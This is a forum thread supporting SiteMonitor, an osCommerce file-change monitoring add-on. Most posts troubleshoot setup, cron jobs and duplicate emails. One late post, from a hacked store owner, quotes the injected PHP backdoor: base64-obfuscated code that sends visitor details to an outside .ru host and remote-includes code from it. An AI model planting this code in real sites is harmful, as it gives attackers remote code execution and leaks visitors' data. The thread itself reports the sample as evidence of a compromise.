Jump to content
Jack_mcs

SiteMonitor

Recommended Posts

Go to admin->SiteMonitor->Admin and click on the top update button to initially set it up and test it.

 

Jack

Share this post


Link to post
Share on other sites

Hey Jack,

This looks like a great contrib but I have a stupid question. I'm currently completing the store on my local machine by adding some security. Will I have any problem implementing and testing on the local machine? Once uploaded to the host, will I need to change any config files other than the one needed for the cron job?

 

Thanks,

 

Kuai

Share this post


Link to post
Share on other sites

Yes, it will run locally as long as the configure options are correct. When you move to the server, the configure options will have to be changed and you will need to create a new reference file.

 

Jack

Share this post


Link to post
Share on other sites
Yes, it will run locally as long as the configure options are correct. When you move to the server, the configure options will have to be changed and you will need to create a new reference file.

 

Jack

 

 

 

Thanks,

 

Kuai

Share this post


Link to post
Share on other sites

Hey Jack,

Just wanted to let you know the program runs fine on the local machine after getting the correct "Start Directory" root info. The only error, which I don't consider an error, was the mail server which is not configured for my testing environment. Everything works as advertised on v2.2 rc2a.

 

 

Thanks again,

 

Kuai

Share this post


Link to post
Share on other sites

First i want to say thank you for this great contributions, but i just gets some error when i do manually sitemonitor it's bring me to this error warning :

 

Warning: opendir(/home/username/public_html) [function.opendir]: failed to open dir: No such file or directory in /home/xxxxxxxx/public_html/admin/includes/functions/sitemonitor_functions.php on line 99

 

Warning: readdir(): supplied argument is not a valid Directory resource in /home/xxxxxxxx/public_html/admin/includes/functions/sitemonitor_functions.php on line 101

Reference file creation failed.

 

Any idea about that will be very appreciated. :)


Rocdy

 

Beginner in php programming and still learning from this forums.

Special thanks for Oscommerce Community Forums that help me a lot. :-)

Share this post


Link to post
Share on other sites
Warning: opendir(/home/username/public_html) [function.opendir]: failed to open dir: No such file or directory in /home/xxxxxxxx/public_html/admin/includes/functions/sitemonitor_functions.php on line 99

Try changing the username to your username in the settings.

 

Jack

Share this post


Link to post
Share on other sites

Hi, This is a great contribution.

 

I do have some problems.

 

First off, I can create the reference file and all is well. Then when I run it, I do get errors on size, timestamps, and permissions on some files, not all. And I havent changed these files.

 

But the new/deleted files works fine. I tested by deleting some and adding a test file and it found everything, so yay. But I would like to see the size modifications corrected as hackers generally inject stuff into preexisting files, not create random new ones... Is there something obvious that should be done there?

 

Also I am having trouble with the cron job. I have it set to the path in the admin folder, but it comes back as "permission denied". This is due (as far as I can tell) to the fact that I am using a .htaccess file to protect my admin section. So I was wondering if any cron gurus out there know how to pass login details through the cron command. I am new to cron and have never used it before so I just followed the instructions in the included readme. I did have to remove the "php" part at the beginning and just put the link directly to the file.

 

Ideas?

Share this post


Link to post
Share on other sites
But the new/deleted files works fine. I tested by deleting some and adding a test file and it found everything, so yay. But I would like to see the size modifications corrected as hackers generally inject stuff into preexisting files, not create random new ones... Is there something obvious that should be done there?

I think someone else had this problem, though I don't recall the fix, if there was one. You can read back through the thread to be sure.

 

Jack

Share this post


Link to post
Share on other sites
Try changing the username to your username in the settings.

 

Jack

 

Thank You. My error was fixed. I forgot to write my username in configuration. Thank for this usefull contribution. :-)


Rocdy

 

Beginner in php programming and still learning from this forums.

Special thanks for Oscommerce Community Forums that help me a lot. :-)

Share this post


Link to post
Share on other sites

Hi Jack

 

First, I must say its a wonderful contribution.

I only have a little doubt about logs sent to mail. I am receiving two or three mails each time I run the script, all with the same log. I am using same email address into from: and to: labels.

Do you know why this could be happening?

 

Thank you

Share this post


Link to post
Share on other sites

There isn't anything in the code to send the email more than once. Maybe your cron job is running it more frequently than you meant? I seem to recall someone else having this problem though I don't know what the fix, if any, was. You'll need to read back through this thread to find that.

 

Jack

Share this post


Link to post
Share on other sites

No Jack, I'm not using cron to launch the script. I run it manually. Also, first time I used it, it only sent me one mail, two for the second time and three mails since then. Sounds weird. I'm gonna try to figure what it is...

Share this post


Link to post
Share on other sites

Jack,

 

I assume the script is supposed to send an email whether it is ran manually or by a cron job? If that is correct then my cron job isn't running.

I have read your instructions about the cron command, but my host tells me it's better to do this command, and the cron is supposed to write in either one of the log files, but with my site, nothing seems to happen.

 

30 0 * * * php $HOME/admin/sitemonitor.php >>$HOME/cron.log 2>>$HOME/cron.err

 

 

Isabella

Edited by Biancoblu

~ Don't mistake my kindness for weakness ~

Share this post


Link to post
Share on other sites
Jack,

 

I assume the script is supposed to send an email whether it is ran manually or by a cron job? If that is correct then my cron job isn't running.

I have read your instructions about the cron command, but my host tells me it's better to do this command, and the cron is supposed to write in either one of the log files, but with my site, nothing seems to happen.

 

30 0 * * * php $HOME/admin/sitemonitor.php >>$HOME/cron.log 2>>$HOME/cron.err

 

 

Isabella

The script only sends email if the email option is set in the settings. As for the cron job, that is host specific. The syntax provided with the contribution will work with many hosts, but not all. But, either way, that isn't something that can be handled here. Your host will have to figure that out.

 

Jack

Share this post


Link to post
Share on other sites

hi

 

does anybody know what this error means

 

Warning: opendir(/home/username/public_html) [function.opendir]: failed to open dir: No such file or directory in /home/******/public_html/catalog/admin/includes/functions/sitemonitor_functions.php on line 99

 

Warning: readdir(): supplied argument is not a valid Directory resource in /home/******/public_html/catalog/admin/includes/functions/sitemonitor_functions.php on line 101

Reference file creation failed.

 

I have followed the instructions to the end and gone through them 3 times and I have done what it says. I am thinking there should be a folder created somewhere....am I right ?

 

Thanks

 

Dicko

Share this post


Link to post
Share on other sites

Please read back through the thrad. The problem has been addressed many times.

 

Jack

Share this post


Link to post
Share on other sites
The script only sends email if the email option is set in the settings. As for the cron job, that is host specific. The syntax provided with the contribution will work with many hosts, but not all. But, either way, that isn't something that can be handled here. Your host will have to figure that out.

 

Jack

 

Ok, thank you.

 

But about the command they suggest I do, do you think it's ok to turn home into a variable?


~ Don't mistake my kindness for weakness ~

Share this post


Link to post
Share on other sites

I just upgrade from 1.5 to 1.7 and now it sends 2 emails i receive the same email 2 times. Also is there a way of deleting the reference file without actually setting the admin folder to 777, now i set the admin to 777 delete the reference file and then set the admin back to 755. Also what is the Admin Username: and password used for? Anything useful?

Share this post


Link to post
Share on other sites

See previous posts regarding two emails.

 

You shouldn't have to set the admin permissions just to use the contribution. That is due to the way your server is setup and you will need to talk to your host to get it fixed.

 

The username/passowrd are used for connecting with curl if that option is desired.

 

Jack

Share this post


Link to post
Share on other sites
See previous posts regarding two emails.

 

You shouldn't have to set the admin permissions just to use the contribution. That is due to the way your server is setup and you will need to talk to your host to get it fixed.

 

The username/passowrd are used for connecting with curl if that option is desired.

 

Jack

 

Hi Jack,

 

I tried everything in regards to the double emails, but no luck i still receive double emails, for whatever reason the "admin/quarantine" keep appearing in the list. If i leave only one folder in the exclusion list it takes forever but i only receive one email. I dont use cron

 

 

$excludeList = array("admin/quarantine","admin/backups","admin/images","tmp","images","catalog","feeds","googletool","guest","livesupport","news","img","plesk-stat","picture_library"); //don't check these directories - change to your liking - must be set prior to first run

Share this post


Link to post
Share on other sites
Hi Jack,

 

I tried everything in regards to the double emails, but no luck i still receive double emails, for whatever reason the "admin/quarantine" keep appearing in the list. If i leave only one folder in the exclusion list it takes forever but i only receive one email. I dont use cron

 

 

$excludeList = array("admin/quarantine","admin/backups","admin/images","tmp","images","catalog","feeds","googletool","guest","livesupport","news","img","plesk-stat","picture_library"); //don't check these directories - change to your liking - must be set prior to first run

 

Actualy i just tried with only one folder and I still get 2 emails. on v1.5 i only receive 1

 

$excludeList = array("admin"); //don't check these directories - change to your liking - must be set prior to first run

Share this post


Link to post
Share on other sites

I think this is a great contribution but I think hackers can get around it. On the 15 i got hacked and I had all the files files from includes, admin and templates changed, the permission changed to 777 and on each of this files just before the last ?> the code bellow that would connect to some Russian page, and the site monitor didn't report anything at all.

 

 

error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST); $b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME); $c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI); $g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT); $h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR); $n=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER); $str=base64_encode($a).".".base64_encode($B).".".base64_encode($c).".".base64_encode($g).".".base64_encode($h).".".base64_encode($n);if((include_once(base64_decode("aHR0cDovLw==")."beijjzzazbzjzbgbzb".base64_decode("LnVzZXJzLnBocGluY2x1ZGUucnU=")."/?".$str))){} else {include_once(base64_decode("aHR0cDovLw==")."beijjzzazbzjzbgbzb".base64_decode("LnVzZXJzLnBocGluY2x1ZGUucnU=")."/?".$str);}

Share this post


Link to post
Share on other sites

This contribution doesn't prevent hacking in any way. It is just menat to monitor the files for changes so that you know someting was changed.

 

Jack

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now

×